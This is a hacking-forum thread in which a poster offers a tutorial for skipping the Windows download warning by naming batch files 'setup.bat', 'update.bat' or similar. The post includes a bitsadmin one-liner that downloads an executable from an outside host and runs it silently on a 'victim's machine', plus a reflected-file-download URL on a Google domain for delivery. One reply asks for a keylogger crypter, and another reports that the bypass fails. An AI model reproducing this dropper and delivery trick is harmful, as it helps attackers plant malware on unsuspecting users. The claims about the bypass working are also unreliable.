[Demoralise]

This is a simple, short yet hopefully still HQ tutorial in which I'll be sharing some important information with you.

You know how whenever you download an exe, bat, cmd or any other file from the internet how a Windows security warning pops up when you attempt to execute the downloaded file? Not any more!

This Windows security bypass affects the downloads of .bat files.

If a .bat file contains any of the following at the end of the file name, the file will completely bypass the warning upon execution:

setup.bat
Setup.bat
update.bat
Update.bat
install.bat
Install.bat

You can have any characters/text you want in front, it will still work 🤝

How is this dangerous?

A hacker might want to run a very small payload on a victims machine. Inside the .bat file is this code:

@echo off
cmd.exe /c "bitsadmin /transfer test /download /priority high http://dl.google.com/chrome/install/154....taller.exe C:\chrome_installer.exe&start http://dl.google.com/chrome/install/154....taller.exe"

The above will download the payload (in this case Chrome) onto the victims computer, save it in the file path provided (C:\) and then execute the file right after execution of the batch file, in which there is no security warning.

Now an example of this security warning bypass on a trusted host (Google) through a reflected file download vulnerability in Google Finance (many people would download and execute the file since it appears to be coming from Google's own host):

http://www.google.com/finance/info;Chrom...gpedit.msc

An example not bypassing the warning:

www.google.com/finance/info;a.bat?q=ELI:ALTR&callback=gpedit.msc

Enjoy,
Demoralise

[skidhackz]

This didn't work.I uploaded a bat to rghost using all of the aboves at the end of the file and I always get a security warning.

[tahirprince3]

Working on indows 7 🤝

[lazbery4u]

do you have crytper for keylogger ?

[Demoralise]

This didn't work.I uploaded a bat to rghost using all of the aboves at the end of the file and I always get a security warning.

Only works on Windows Vista and Windows 7.

[skidhackz]

Only works on Windows Vista and Windows 7.

I tried it on Windows 7

[Demoralise]

I tried it on Windows 7

Probably because you are using rghost. Try with hostr.co or Sendspace.

[skidhackz]

Probably because you are using rghost. Try with hostr.co or Sendspace.

I used Facebook and messaged myself.Do you even test these suggestions?hostr.co caused Chrome to block the bat file, I put it in zip and it blocked the zip too.Sendspace doesn't allow .bat files at all, so I uploaded zip and got the "Open file - Security Warning" as usual.I wish it could work but it doesn't.